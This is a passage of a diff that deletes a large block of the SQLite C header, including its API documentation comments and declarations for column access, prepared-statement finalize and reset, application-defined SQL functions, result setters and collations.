the [sqlite3_column_int | sqlite3_column_*()] of -** interfaces) then sqlite3_data_count(P) returns 0. -** ^The sqlite3_data_count(P) routine also returns 0 if P is a NULL pointer. -** ^The sqlite3_data_count(P) routine returns 0 if the previous call to -** [sqlite3_step](P) returned [SQLITE_DONE]. ^The sqlite3_data_count(P) -** will return non-zero if previous call to [sqlite3_step](P) returned -** [SQLITE_ROW], except in the case of the [PRAGMA incremental_vacuum] -** where it always returns zero since each step of that multi-step -** pragma returns 0 columns of data. -** -** See also: [sqlite3_column_count()] -*/ -SQLITE_API int sqlite3_data_count(sqlite3_stmt *pStmt); - -/* -** CAPI3REF: Fundamental Datatypes -** KEYWORDS: SQLITE_TEXT -** -** ^(Every value in SQLite has one of five fundamental datatypes: -** -**
    -**
  • 64-bit signed integer -**
  • 64-bit IEEE floating point number -**
  • string -**
  • BLOB -**
  • NULL -**
)^ -** -** These constants are codes for each of those types. -** -** Note that the SQLITE_TEXT constant was also used in SQLite version 2 -** for a completely different meaning. Software that links against both -** SQLite version 2 and SQLite version 3 should use SQLITE3_TEXT, not -** SQLITE_TEXT. -*/ -#define SQLITE_INTEGER 1 -#define SQLITE_FLOAT 2 -#define SQLITE_BLOB 4 -#define SQLITE_NULL 5 -#ifdef SQLITE_TEXT -# undef SQLITE_TEXT -#else -# define SQLITE_TEXT 3 -#endif -#define SQLITE3_TEXT 3 - -/* -** CAPI3REF: Result Values From A Query -** KEYWORDS: {column access functions} -** -** These routines form the "result set" interface. -** -** ^These routines return information about a single column of the current -** result row of a query. ^In every case the first argument is a pointer -** to the [prepared statement] that is being evaluated (the [sqlite3_stmt*] -** that was returned from [sqlite3_prepare_v2()] or one of its variants) -** and the second argument is the index of the column for which information -** should be returned. ^The leftmost column of the result set has the index 0. -** ^The number of columns in the result can be determined using -** [sqlite3_column_count()]. -** -** If the SQL statement does not currently point to a valid row, or if the -** column index is out of range, the result is undefined. -** These routines may only be called when the most recent call to -** [sqlite3_step()] has returned [SQLITE_ROW] and neither -** [sqlite3_reset()] nor [sqlite3_finalize()] have been called subsequently. -** If any of these routines are called after [sqlite3_reset()] or -** [sqlite3_finalize()] or after [sqlite3_step()] has returned -** something other than [SQLITE_ROW], the results are undefined. -** If [sqlite3_step()] or [sqlite3_reset()] or [sqlite3_finalize()] -** are called from a different thread while any of these routines -** are pending, then the results are undefined. -** -** ^The sqlite3_column_type() routine returns the -** [SQLITE_INTEGER | datatype code] for the initial data type -** of the result column. ^The returned value is one of [SQLITE_INTEGER], -** [SQLITE_FLOAT], [SQLITE_TEXT], [SQLITE_BLOB], or [SQLITE_NULL]. The value -** returned by sqlite3_column_type() is only meaningful if no type -** conversions have occurred as described below. After a type conversion, -** the value returned by sqlite3_column_type() is undefined. Future -** versions of SQLite may change the behavior of sqlite3_column_type() -** following a type conversion. -** -** ^If the result is a BLOB or UTF-8 string then the sqlite3_column_bytes() -** routine returns the number of bytes in that BLOB or string. -** ^If the result is a UTF-16 string, then sqlite3_column_bytes() converts -** the string to UTF-8 and then returns the number of bytes. -** ^If the result is a numeric value then sqlite3_column_bytes() uses -** [sqlite3_snprintf()] to convert that value to a UTF-8 string and returns -** the number of bytes in that string. -** ^If the result is NULL, then sqlite3_column_bytes() returns zero. -** -** ^If the result is a BLOB or UTF-16 string then the sqlite3_column_bytes16() -** routine returns the number of bytes in that BLOB or string. -** ^If the result is a UTF-8 string, then sqlite3_column_bytes16() converts -** the string to UTF-16 and then returns the number of bytes. -** ^If the result is a numeric value then sqlite3_column_bytes16() uses -** [sqlite3_snprintf()] to convert that value to a UTF-16 string and returns -** the number of bytes in that string. -** ^If the result is NULL, then sqlite3_column_bytes16() returns zero. -** -** ^The values returned by [sqlite3_column_bytes()] and -** [sqlite3_column_bytes16()] do not include the zero terminators at the end -** of the string. ^For clarity: the values returned by -** [sqlite3_column_bytes()] and [sqlite3_column_bytes16()] are the number of -** bytes in the string, not the number of characters. -** -** ^Strings returned by sqlite3_column_text() and sqlite3_column_text16(), -** even empty strings, are always zero-terminated. ^The return -** value from sqlite3_column_blob() for a zero-length BLOB is a NULL pointer. -** -** ^The object returned by [sqlite3_column_value()] is an -** [unprotected sqlite3_value] object. An unprotected sqlite3_value object -** may only be used with [sqlite3_bind_value()] and [sqlite3_result_value()]. -** If the [unprotected sqlite3_value] object returned by -** [sqlite3_column_value()] is used in any other way, including calls -** to routines like [sqlite3_value_int()], [sqlite3_value_text()], -** or [sqlite3_value_bytes()], then the behavior is undefined. -** -** These routines attempt to convert the value where appropriate. ^For -** example, if the internal representation is FLOAT and a text result -** is requested, [sqlite3_snprintf()] is used internally to perform the -** conversion automatically. ^(The following table details the conversions -** that are applied: -** -**
-** -**
Internal
Type 		Requested
Type 		Conversion -** -**
NULL INTEGER Result is 0 -**
NULL FLOAT Result is 0.0 -**
NULL TEXT Result is NULL pointer -**
NULL BLOB Result is NULL pointer -**
INTEGER FLOAT Convert from integer to float -**
INTEGER TEXT ASCII rendering of the integer -**
INTEGER BLOB Same as INTEGER->TEXT -**
FLOAT INTEGER Convert from float to integer -**
FLOAT TEXT ASCII rendering of the float -**
FLOAT BLOB Same as FLOAT->TEXT -**
TEXT INTEGER Use atoi() -**
TEXT FLOAT Use atof() -**
TEXT BLOB No change -**
BLOB INTEGER Convert to TEXT then use atoi() -**
BLOB FLOAT Convert to TEXT then use atof() -**
BLOB TEXT Add a zero terminator if needed -**
-**
)^ -** -** The table above makes reference to standard C library functions atoi() -** and atof(). SQLite does not really use these functions. It has its -** own equivalent internal routines. The atoi() and atof() names are -** used in the table for brevity and because they are familiar to most -** C programmers. -** -** Note that when type conversions occur, pointers returned by prior -** calls to sqlite3_column_blob(), sqlite3_column_text(), and/or -** sqlite3_column_text16() may be invalidated. -** Type conversions and pointer invalidations might occur -** in the following cases: -** -**
    -**
  • The initial content is a BLOB and sqlite3_column_text() or -** sqlite3_column_text16() is called. A zero-terminator might -** need to be added to the string.
    • -**
  • The initial content is UTF-8 text and sqlite3_column_bytes16() or -** sqlite3_column_text16() is called. The content must be converted -** to UTF-16.
    • -**
  • The initial content is UTF-16 text and sqlite3_column_bytes() or -** sqlite3_column_text() is called. The content must be converted -** to UTF-8.
    • -**
-** -** ^Conversions between UTF-16be and UTF-16le are always done in place and do -** not invalidate a prior pointer, though of course the content of the buffer -** that the prior pointer references will have been modified. Other kinds -** of conversion are done in place when it is possible, but sometimes they -** are not possible and in those cases prior pointers are invalidated. -** -** The safest and easiest to remember policy is to invoke these routines -** in one of the following ways: -** -**
    -**
  • sqlite3_column_text() followed by sqlite3_column_bytes()
    • -**
  • sqlite3_column_blob() followed by sqlite3_column_bytes()
    • -**
  • sqlite3_column_text16() followed by sqlite3_column_bytes16()
    • -**
-** -** In other words, you should call sqlite3_column_text(), -** sqlite3_column_blob(), or sqlite3_column_text16() first to force the result -** into the desired format, then invoke sqlite3_column_bytes() or -** sqlite3_column_bytes16() to find the size of the result. Do not mix calls -** to sqlite3_column_text() or sqlite3_column_blob() with calls to -** sqlite3_column_bytes16(), and do not mix calls to sqlite3_column_text16() -** with calls to sqlite3_column_bytes(). -** -** ^The pointers returned are valid until a type conversion occurs as -** described above, or until [sqlite3_step()] or [sqlite3_reset()] or -** [sqlite3_finalize()] is called. ^The memory space used to hold strings -** and BLOBs is freed automatically. Do not pass the pointers returned -** [sqlite3_column_blob()], [sqlite3_column_text()], etc. into -** [sqlite3_free()]. -** -** ^(If a memory allocation error occurs during the evaluation of any -** of these routines, a default value is returned. The default value -** is either the integer 0, the floating point number 0.0, or a NULL -** pointer. Subsequent calls to [sqlite3_errcode()] will return -** [SQLITE_NOMEM].)^ -*/ -SQLITE_API const void *sqlite3_column_blob(sqlite3_stmt*, int iCol); -SQLITE_API int sqlite3_column_bytes(sqlite3_stmt*, int iCol); -SQLITE_API int sqlite3_column_bytes16(sqlite3_stmt*, int iCol); -SQLITE_API double sqlite3_column_double(sqlite3_stmt*, int iCol); -SQLITE_API int sqlite3_column_int(sqlite3_stmt*, int iCol); -SQLITE_API sqlite3_int64 sqlite3_column_int64(sqlite3_stmt*, int iCol); -SQLITE_API const unsigned char *sqlite3_column_text(sqlite3_stmt*, int iCol); -SQLITE_API const void *sqlite3_column_text16(sqlite3_stmt*, int iCol); -SQLITE_API int sqlite3_column_type(sqlite3_stmt*, int iCol); -SQLITE_API sqlite3_value *sqlite3_column_value(sqlite3_stmt*, int iCol); - -/* -** CAPI3REF: Destroy A Prepared Statement Object -** -** ^The sqlite3_finalize() function is called to delete a [prepared statement]. -** ^If the most recent evaluation of the statement encountered no errors -** or if the statement is never been evaluated, then sqlite3_finalize() returns -** SQLITE_OK. ^If the most recent evaluation of statement S failed, then -** sqlite3_finalize(S) returns the appropriate [error code] or -** [extended error code]. -** -** ^The sqlite3_finalize(S) routine can be called at any point during -** the life cycle of [prepared statement] S: -** before statement S is ever evaluated, after -** one or more calls to [sqlite3_reset()], or after any call -** to [sqlite3_step()] regardless of whether or not the statement has -** completed execution. -** -** ^Invoking sqlite3_finalize() on a NULL pointer is a harmless no-op. -** -** The application must finalize every [prepared statement] in order to avoid -** resource leaks. It is a grievous error for the application to try to use -** a prepared statement after it has been finalized. Any use of a prepared -** statement after it has been finalized can result in undefined and -** undesirable behavior such as segfaults and heap corruption. -*/ -SQLITE_API int sqlite3_finalize(sqlite3_stmt *pStmt); - -/* -** CAPI3REF: Reset A Prepared Statement Object -** -** The sqlite3_reset() function is called to reset a [prepared statement] -** object back to its initial state, ready to be re-executed. -** ^Any SQL statement variables that had values bound to them using -** the [sqlite3_bind_blob | sqlite3_bind_*() API] retain their values. -** Use [sqlite3_clear_bindings()] to reset the bindings. -** -** ^The [sqlite3_reset(S)] interface resets the [prepared statement] S -** back to the beginning of its program. -** -** ^If the most recent call to [sqlite3_step(S)] for the -** [prepared statement] S returned [SQLITE_ROW] or [SQLITE_DONE], -** or if [sqlite3_step(S)] has never before been called on S, -** then [sqlite3_reset(S)] returns [SQLITE_OK]. -** -** ^If the most recent call to [sqlite3_step(S)] for the -** [prepared statement] S indicated an error, then -** [sqlite3_reset(S)] returns an appropriate [error code]. -** -** ^The [sqlite3_reset(S)] interface does not change the values -** of any [sqlite3_bind_blob|bindings] on the [prepared statement] S. -*/ -SQLITE_API int sqlite3_reset(sqlite3_stmt *pStmt); - -/* -** CAPI3REF: Create Or Redefine SQL Functions -** KEYWORDS: {function creation routines} -** KEYWORDS: {application-defined SQL function} -** KEYWORDS: {application-defined SQL functions} -** -** ^These functions (collectively known as "function creation routines") -** are used to add SQL functions or aggregates or to redefine the behavior -** of existing SQL functions or aggregates. The only differences between -** these routines are the text encoding expected for -** the second parameter (the name of the function being created) -** and the presence or absence of a destructor callback for -** the application data pointer. -** -** ^The first parameter is the [database connection] to which the SQL -** function is to be added. ^If an application uses more than one database -** connection then application-defined SQL functions must be added -** to each database connection separately. -** -** ^The second parameter is the name of the SQL function to be created or -** redefined. ^The length of the name is limited to 255 bytes in a UTF-8 -** representation, exclusive of the zero-terminator. ^Note that the name -** length limit is in UTF-8 bytes, not characters nor UTF-16 bytes. -** ^Any attempt to create a function with a longer name -** will result in [SQLITE_MISUSE] being returned. -** -** ^The third parameter (nArg) -** is the number of arguments that the SQL function or -** aggregate takes. ^If this parameter is -1, then the SQL function or -** aggregate may take any number of arguments between 0 and the limit -** set by [sqlite3_limit]([SQLITE_LIMIT_FUNCTION_ARG]). If the third -** parameter is less than -1 or greater than 127 then the behavior is -** undefined. -** -** ^The fourth parameter, eTextRep, specifies what -** [SQLITE_UTF8 | text encoding] this SQL function prefers for -** its parameters. Every SQL function implementation must be able to work -** with UTF-8, UTF-16le, or UTF-16be. But some implementations may be -** more efficient with one encoding than another. ^An application may -** invoke sqlite3_create_function() or sqlite3_create_function16() multiple -** times with the same function but with different values of eTextRep. -** ^When multiple implementations of the same function are available, SQLite -** will pick the one that involves the least amount of data conversion. -** If there is only a single implementation which does not care what text -** encoding is used, then the fourth argument should be [SQLITE_ANY]. -** -** ^(The fifth parameter is an arbitrary pointer. The implementation of the -** function can gain access to this pointer using [sqlite3_user_data()].)^ -** -** ^The sixth, seventh and eighth parameters, xFunc, xStep and xFinal, are -** pointers to C-language functions that implement the SQL function or -** aggregate. ^A scalar SQL function requires an implementation of the xFunc -** callback only; NULL pointers must be passed as the xStep and xFinal -** parameters. ^An aggregate SQL function requires an implementation of xStep -** and xFinal and NULL pointer must be passed for xFunc. ^To delete an existing -** SQL function or aggregate, pass NULL pointers for all three function -** callbacks. -** -** ^(If the ninth parameter to sqlite3_create_function_v2() is not NULL, -** then it is destructor for the application data pointer. -** The destructor is invoked when the function is deleted, either by being -** overloaded or when the database connection closes.)^ -** ^The destructor is also invoked if the call to -** sqlite3_create_function_v2() fails. -** ^When the destructor callback of the tenth parameter is invoked, it -** is passed a single argument which is a copy of the application data -** pointer which was the fifth parameter to sqlite3_create_function_v2(). -** -** ^It is permitted to register multiple implementations of the same -** functions with the same name but with either differing numbers of -** arguments or differing preferred text encodings. ^SQLite will use -** the implementation that most closely matches the way in which the -** SQL function is used. ^A function implementation with a non-negative -** nArg parameter is a better match than a function implementation with -** a negative nArg. ^A function where the preferred text encoding -** matches the database encoding is a better -** match than a function where the encoding is different. -** ^A function where the encoding difference is between UTF16le and UTF16be -** is a closer match than a function where the encoding difference is -** between UTF8 and UTF16. -** -** ^Built-in functions may be overloaded by new application-defined functions. -** -** ^An application-defined function is permitted to call other -** SQLite interfaces. However, such calls must not -** close the database connection nor finalize or reset the prepared -** statement in which the function is running. -*/ -SQLITE_API int sqlite3_create_function( - sqlite3 *db, - const char *zFunctionName, - int nArg, - int eTextRep, - void *pApp, - void (*xFunc)(sqlite3_context*,int,sqlite3_value**), - void (*xStep)(sqlite3_context*,int,sqlite3_value**), - void (*xFinal)(sqlite3_context*) -); -SQLITE_API int sqlite3_create_function16( - sqlite3 *db, - const void *zFunctionName, - int nArg, - int eTextRep, - void *pApp, - void (*xFunc)(sqlite3_context*,int,sqlite3_value**), - void (*xStep)(sqlite3_context*,int,sqlite3_value**), - void (*xFinal)(sqlite3_context*) -); -SQLITE_API int sqlite3_create_function_v2( - sqlite3 *db, - const char *zFunctionName, - int nArg, - int eTextRep, - void *pApp, - void (*xFunc)(sqlite3_context*,int,sqlite3_value**), - void (*xStep)(sqlite3_context*,int,sqlite3_value**), - void (*xFinal)(sqlite3_context*), - void(*xDestroy)(void*) -); - -/* -** CAPI3REF: Text Encodings -** -** These constant define integer codes that represent the various -** text encodings supported by SQLite. -*/ -#define SQLITE_UTF8 1 -#define SQLITE_UTF16LE 2 -#define SQLITE_UTF16BE 3 -#define SQLITE_UTF16 4 /* Use native byte order */ -#define SQLITE_ANY 5 /* sqlite3_create_function only */ -#define SQLITE_UTF16_ALIGNED 8 /* sqlite3_create_collation only */ - -/* -** CAPI3REF: Deprecated Functions -** DEPRECATED -** -** These functions are [deprecated]. In order to maintain -** backwards compatibility with older code, these functions continue -** to be supported. However, new applications should avoid -** the use of these functions. To help encourage people to avoid -** using these functions, we are not going to tell you what they do. -*/ -#ifndef SQLITE_OMIT_DEPRECATED -SQLITE_API SQLITE_DEPRECATED int sqlite3_aggregate_count(sqlite3_context*); -SQLITE_API SQLITE_DEPRECATED int sqlite3_expired(sqlite3_stmt*); -SQLITE_API SQLITE_DEPRECATED int sqlite3_transfer_bindings(sqlite3_stmt*, sqlite3_stmt*); -SQLITE_API SQLITE_DEPRECATED int sqlite3_global_recover(void); -SQLITE_API SQLITE_DEPRECATED void sqlite3_thread_cleanup(void); -SQLITE_API SQLITE_DEPRECATED int sqlite3_memory_alarm(void(*)(void*,sqlite3_int64,int), - void*,sqlite3_int64); -#endif - -/* -** CAPI3REF: Obtaining SQL Function Parameter Values -** -** The C-language implementation of SQL functions and aggregates uses -** this set of interface routines to access the parameter values on -** the function or aggregate. -** -** The xFunc (for scalar functions) or xStep (for aggregates) parameters -** to [sqlite3_create_function()] and [sqlite3_create_function16()] -** define callbacks that implement the SQL functions and aggregates. -** The 3rd parameter to these callbacks is an array of pointers to -** [protected sqlite3_value] objects. There is one [sqlite3_value] object for -** each parameter to the SQL function. These routines are used to -** extract values from the [sqlite3_value] objects. -** -** These routines work only with [protected sqlite3_value] objects. -** Any attempt to use these routines on an [unprotected sqlite3_value] -** object results in undefined behavior. -** -** ^These routines work just like the corresponding [column access functions] -** except that these routines take a single [protected sqlite3_value] object -** pointer instead of a [sqlite3_stmt*] pointer and an integer column number. -** -** ^The sqlite3_value_text16() interface extracts a UTF-16 string -** in the native byte-order of the host machine. ^The -** sqlite3_value_text16be() and sqlite3_value_text16le() interfaces -** extract UTF-16 strings as big-endian and little-endian respectively. -** -** ^(The sqlite3_value_numeric_type() interface attempts to apply -** numeric affinity to the value. This means that an attempt is -** made to convert the value to an integer or floating point. If -** such a conversion is possible without loss of information (in other -** words, if the value is a string that looks like a number) -** then the conversion is performed. Otherwise no conversion occurs. -** The [SQLITE_INTEGER | datatype] after conversion is returned.)^ -** -** Please pay particular attention to the fact that the pointer returned -** from [sqlite3_value_blob()], [sqlite3_value_text()], or -** [sqlite3_value_text16()] can be invalidated by a subsequent call to -** [sqlite3_value_bytes()], [sqlite3_value_bytes16()], [sqlite3_value_text()], -** or [sqlite3_value_text16()]. -** -** These routines must be called from the same thread as -** the SQL function that supplied the [sqlite3_value*] parameters. -*/ -SQLITE_API const void *sqlite3_value_blob(sqlite3_value*); -SQLITE_API int sqlite3_value_bytes(sqlite3_value*); -SQLITE_API int sqlite3_value_bytes16(sqlite3_value*); -SQLITE_API double sqlite3_value_double(sqlite3_value*); -SQLITE_API int sqlite3_value_int(sqlite3_value*); -SQLITE_API sqlite3_int64 sqlite3_value_int64(sqlite3_value*); -SQLITE_API const unsigned char *sqlite3_value_text(sqlite3_value*); -SQLITE_API const void *sqlite3_value_text16(sqlite3_value*); -SQLITE_API const void *sqlite3_value_text16le(sqlite3_value*); -SQLITE_API const void *sqlite3_value_text16be(sqlite3_value*); -SQLITE_API int sqlite3_value_type(sqlite3_value*); -SQLITE_API int sqlite3_value_numeric_type(sqlite3_value*); - -/* -** CAPI3REF: Obtain Aggregate Function Context -** -** Implementations of aggregate SQL functions use this -** routine to allocate memory for storing their state. -** -** ^The first time the sqlite3_aggregate_context(C,N) routine is called -** for a particular aggregate function, SQLite -** allocates N of memory, zeroes out that memory, and returns a pointer -** to the new memory. ^On second and subsequent calls to -** sqlite3_aggregate_context() for the same aggregate function instance, -** the same buffer is returned. Sqlite3_aggregate_context() is normally -** called once for each invocation of the xStep callback and then one -** last time when the xFinal callback is invoked. ^(When no rows match -** an aggregate query, the xStep() callback of the aggregate function -** implementation is never called and xFinal() is called exactly once. -** In those cases, sqlite3_aggregate_context() might be called for the -** first time from within xFinal().)^ -** -** ^The sqlite3_aggregate_context(C,N) routine returns a NULL pointer -** when first called if N is less than or equal to zero or if a memory -** allocate error occurs. -** -** ^(The amount of space allocated by sqlite3_aggregate_context(C,N) is -** determined by the N parameter on first successful call. Changing the -** value of N in subsequent call to sqlite3_aggregate_context() within -** the same aggregate function instance will not resize the memory -** allocation.)^ Within the xFinal callback, it is customary to set -** N=0 in calls to sqlite3_aggregate_context(C,N) so that no -** pointless memory allocations occur. -** -** ^SQLite automatically frees the memory allocated by -** sqlite3_aggregate_context() when the aggregate query concludes. -** -** The first parameter must be a copy of the -** [sqlite3_context | SQL function context] that is the first parameter -** to the xStep or xFinal callback routine that implements the aggregate -** function. -** -** This routine must be called from the same thread in which -** the aggregate SQL function is running. -*/ -SQLITE_API void *sqlite3_aggregate_context(sqlite3_context*, int nBytes); - -/* -** CAPI3REF: User Data For Functions -** -** ^The sqlite3_user_data() interface returns a copy of -** the pointer that was the pUserData parameter (the 5th parameter) -** of the [sqlite3_create_function()] -** and [sqlite3_create_function16()] routines that originally -** registered the application defined function. -** -** This routine must be called from the same thread in which -** the application-defined function is running. -*/ -SQLITE_API void *sqlite3_user_data(sqlite3_context*); - -/* -** CAPI3REF: Database Connection For Functions -** -** ^The sqlite3_context_db_handle() interface returns a copy of -** the pointer to the [database connection] (the 1st parameter) -** of the [sqlite3_create_function()] -** and [sqlite3_create_function16()] routines that originally -** registered the application defined function. -*/ -SQLITE_API sqlite3 *sqlite3_context_db_handle(sqlite3_context*); - -/* -** CAPI3REF: Function Auxiliary Data -** -** The following two functions may be used by scalar SQL functions to -** associate metadata with argument values. If the same value is passed to -** multiple invocations of the same SQL function during query execution, under -** some circumstances the associated metadata may be preserved. This may -** be used, for example, to add a regular-expression matching scalar -** function. The compiled version of the regular expression is stored as -** metadata associated with the SQL value passed as the regular expression -** pattern. The compiled regular expression can be reused on multiple -** invocations of the same function so that the original pattern string -** does not need to be recompiled on each invocation. -** -** ^The sqlite3_get_auxdata() interface returns a pointer to the metadata -** associated by the sqlite3_set_auxdata() function with the Nth argument -** value to the application-defined function. ^If no metadata has been ever -** been set for the Nth argument of the function, or if the corresponding -** function parameter has changed since the meta-data was set, -** then sqlite3_get_auxdata() returns a NULL pointer. -** -** ^The sqlite3_set_auxdata() interface saves the metadata -** pointed to by its 3rd parameter as the metadata for the N-th -** argument of the application-defined function. Subsequent -** calls to sqlite3_get_auxdata() might return this data, if it has -** not been destroyed. -** ^If it is not NULL, SQLite will invoke the destructor -** function given by the 4th parameter to sqlite3_set_auxdata() on -** the metadata when the corresponding function parameter changes -** or when the SQL statement completes, whichever comes first. -** -** SQLite is free to call the destructor and drop metadata on any -** parameter of any function at any time. ^The only guarantee is that -** the destructor will be called before the metadata is dropped. -** -** ^(In practice, metadata is preserved between function calls for -** expressions that are constant at compile time. This includes literal -** values and [parameters].)^ -** -** These routines must be called from the same thread in which -** the SQL function is running. -*/ -SQLITE_API void *sqlite3_get_auxdata(sqlite3_context*, int N); -SQLITE_API void sqlite3_set_auxdata(sqlite3_context*, int N, void*, void (*)(void*)); - - -/* -** CAPI3REF: Constants Defining Special Destructor Behavior -** -** These are special values for the destructor that is passed in as the -** final argument to routines like [sqlite3_result_blob()]. ^If the destructor -** argument is SQLITE_STATIC, it means that the content pointer is constant -** and will never change. It does not need to be destroyed. ^The -** SQLITE_TRANSIENT value means that the content will likely change in -** the near future and that SQLite should make its own private copy of -** the content before returning. -** -** The typedef is necessary to work around problems in certain -** C++ compilers. -*/ -typedef void (*sqlite3_destructor_type)(void*); -#define SQLITE_STATIC ((sqlite3_destructor_type)0) -#define SQLITE_TRANSIENT ((sqlite3_destructor_type)-1) - -/* -** CAPI3REF: Setting The Result Of An SQL Function -** -** These routines are used by the xFunc or xFinal callbacks that -** implement SQL functions and aggregates. See -** [sqlite3_create_function()] and [sqlite3_create_function16()] -** for additional information. -** -** These functions work very much like the [parameter binding] family of -** functions used to bind values to host parameters in prepared statements. -** Refer to the [SQL parameter] documentation for additional information. -** -** ^The sqlite3_result_blob() interface sets the result from -** an application-defined function to be the BLOB whose content is pointed -** to by the second parameter and which is N bytes long where N is the -** third parameter. -** -** ^The sqlite3_result_zeroblob() interfaces set the result of -** the application-defined function to be a BLOB containing all zero -** bytes and N bytes in size, where N is the value of the 2nd parameter. -** -** ^The sqlite3_result_double() interface sets the result from -** an application-defined function to be a floating point value specified -** by its 2nd argument. -** -** ^The sqlite3_result_error() and sqlite3_result_error16() functions -** cause the implemented SQL function to throw an exception. -** ^SQLite uses the string pointed to by the -** 2nd parameter of sqlite3_result_error() or sqlite3_result_error16() -** as the text of an error message. ^SQLite interprets the error -** message string from sqlite3_result_error() as UTF-8. ^SQLite -** interprets the string from sqlite3_result_error16() as UTF-16 in native -** byte order. ^If the third parameter to sqlite3_result_error() -** or sqlite3_result_error16() is negative then SQLite takes as the error -** message all text up through the first zero character. -** ^If the third parameter to sqlite3_result_error() or -** sqlite3_result_error16() is non-negative then SQLite takes that many -** bytes (not characters) from the 2nd parameter as the error message. -** ^The sqlite3_result_error() and sqlite3_result_error16() -** routines make a private copy of the error message text before -** they return. Hence, the calling function can deallocate or -** modify the text after they return without harm. -** ^The sqlite3_result_error_code() function changes the error code -** returned by SQLite as a result of an error in a function. ^By default, -** the error code is SQLITE_ERROR. ^A subsequent call to sqlite3_result_error() -** or sqlite3_result_error16() resets the error code to SQLITE_ERROR. -** -** ^The sqlite3_result_error_toobig() interface causes SQLite to throw an -** error indicating that a string or BLOB is too long to represent. -** -** ^The sqlite3_result_error_nomem() interface causes SQLite to throw an -** error indicating that a memory allocation failed. -** -** ^The sqlite3_result_int() interface sets the return value -** of the application-defined function to be the 32-bit signed integer -** value given in the 2nd argument. -** ^The sqlite3_result_int64() interface sets the return value -** of the application-defined function to be the 64-bit signed integer -** value given in the 2nd argument. -** -** ^The sqlite3_result_null() interface sets the return value -** of the application-defined function to be NULL. -** -** ^The sqlite3_result_text(), sqlite3_result_text16(), -** sqlite3_result_text16le(), and sqlite3_result_text16be() interfaces -** set the return value of the application-defined function to be -** a text string which is represented as UTF-8, UTF-16 native byte order, -** UTF-16 little endian, or UTF-16 big endian, respectively. -** ^SQLite takes the text result from the application from -** the 2nd parameter of the sqlite3_result_text* interfaces. -** ^If the 3rd parameter to the sqlite3_result_text* interfaces -** is negative, then SQLite takes result text from the 2nd parameter -** through the first zero character. -** ^If the 3rd parameter to the sqlite3_result_text* interfaces -** is non-negative, then as many bytes (not characters) of the text -** pointed to by the 2nd parameter are taken as the application-defined -** function result. If the 3rd parameter is non-negative, then it -** must be the byte offset into the string where the NUL terminator would -** appear if the string where NUL terminated. If any NUL characters occur -** in the string at a byte offset that is less than the value of the 3rd -** parameter, then the resulting string will contain embedded NULs and the -** result of expressions operating on strings with embedded NULs is undefined. -** ^If the 4th parameter to the sqlite3_result_text* interfaces -** or sqlite3_result_blob is a non-NULL pointer, then SQLite calls that -** function as the destructor on the text or BLOB result when it has -** finished using that result. -** ^If the 4th parameter to the sqlite3_result_text* interfaces or to -** sqlite3_result_blob is the special constant SQLITE_STATIC, then SQLite -** assumes that the text or BLOB result is in constant space and does not -** copy the content of the parameter nor call a destructor on the content -** when it has finished using that result. -** ^If the 4th parameter to the sqlite3_result_text* interfaces -** or sqlite3_result_blob is the special constant SQLITE_TRANSIENT -** then SQLite makes a copy of the result into space obtained from -** from [sqlite3_malloc()] before it returns. -** -** ^The sqlite3_result_value() interface sets the result of -** the application-defined function to be a copy the -** [unprotected sqlite3_value] object specified by the 2nd parameter. ^The -** sqlite3_result_value() interface makes a copy of the [sqlite3_value] -** so that the [sqlite3_value] specified in the parameter may change or -** be deallocated after sqlite3_result_value() returns without harm. -** ^A [protected sqlite3_value] object may always be used where an -** [unprotected sqlite3_value] object is required, so either -** kind of [sqlite3_value] object can be used with this interface. -** -** If these routines are called from within the different thread -** than the one containing the application-defined function that received -** the [sqlite3_context] pointer, the results are undefined. -*/ -SQLITE_API void sqlite3_result_blob(sqlite3_context*, const void*, int, void(*)(void*)); -SQLITE_API void sqlite3_result_double(sqlite3_context*, double); -SQLITE_API void sqlite3_result_error(sqlite3_context*, const char*, int); -SQLITE_API void sqlite3_result_error16(sqlite3_context*, const void*, int); -SQLITE_API void sqlite3_result_error_toobig(sqlite3_context*); -SQLITE_API void sqlite3_result_error_nomem(sqlite3_context*); -SQLITE_API void sqlite3_result_error_code(sqlite3_context*, int); -SQLITE_API void sqlite3_result_int(sqlite3_context*, int); -SQLITE_API void sqlite3_result_int64(sqlite3_context*, sqlite3_int64); -SQLITE_API void sqlite3_result_null(sqlite3_context*); -SQLITE_API void sqlite3_result_text(sqlite3_context*, const char*, int, void(*)(void*)); -SQLITE_API void sqlite3_result_text16(sqlite3_context*, const void*, int, void(*)(void*)); -SQLITE_API void sqlite3_result_text16le(sqlite3_context*, const void*, int,void(*)(void*)); -SQLITE_API void sqlite3_result_text16be(sqlite3_context*, const void*, int,void(*)(void*)); -SQLITE_API void sqlite3_result_value(sqlite3_context*, sqlite3_value*); -SQLITE_API void sqlite3_result_zeroblob(sqlite3_context*, int n); - -/* -** CAPI3REF: Define New Collating Sequences -** -** ^These functions add, remove, or modify a [collation] associated -** with the [database connection] specified as the first argument. -** -** ^The name of the collation is a UTF-8 string -** for sqlite3_create_collation() and sqlite3_create_collation_v2() -** and a UTF-16 string in native byte order for sqlite3_create_collation16(). -** ^Collation names that compare equal according to [sqlite3_strnicmp()] are -** considered to be the same name. -** -** ^(The third argument (eTextRep) must be one of the constants: -**
    -**
  • [SQLITE_UTF8], -**
  • [SQLITE_UTF16LE], -**
  • [SQLITE_UTF16BE], -**
  • [SQLITE_UTF16], or -**
  • [SQLITE_UTF16_ALIGNED]. -**
)^ -** ^The eTextRep argument determines the encoding of strings passed -** to the collating function callback, xCallback. -** ^The [SQLITE_UTF16] and [SQLITE_UTF16_ALIGNED] values for eTextRep -** force strings to be UTF16 with native byte order. -** ^The [SQLITE_UTF16_ALIGNED] value for eTextRep forces strings to begin -** on an even byte address. -** -** ^The fourth argument, pArg, is an application data pointer that is passed -** through as the first argument to the collating function callback. -** -** ^The fifth argument, xCallback, is a pointer to the collating function. -** ^Multiple collating functions can be registered using the same name but -** with different eTextRep parameters and SQLite will use whichever -** function requires the least amount of data transformation. -** ^If the xCallback argument is NULL then the collating function is -** deleted. ^When all collating functions having the same name are deleted, -** that collation is no longer usable. -** -** ^The collating function callback is invoked with a copy of the pArg -** application data pointer and with two strings in the encoding specified -** by the eTextRep argument. The collating function must return an -** integer that is negative, zero, or positive -** if the first string is less than, equal to, or greater than the second, -** respectively. A collating function must always return the same answer -** given the same inputs. If two or more collating functions are registered -** to the same collation name (using different eTextRep values) then all -** must give an equivalent answer when invoked with equivalent strings. -** The collating function must obey the following properties for all -** strings A, B, and C: -** -**
    -**
  1. If A==B then B==A. -**
  2. If A==B and B==C then A==C. -**
  3. If A<B THEN B>A. -**
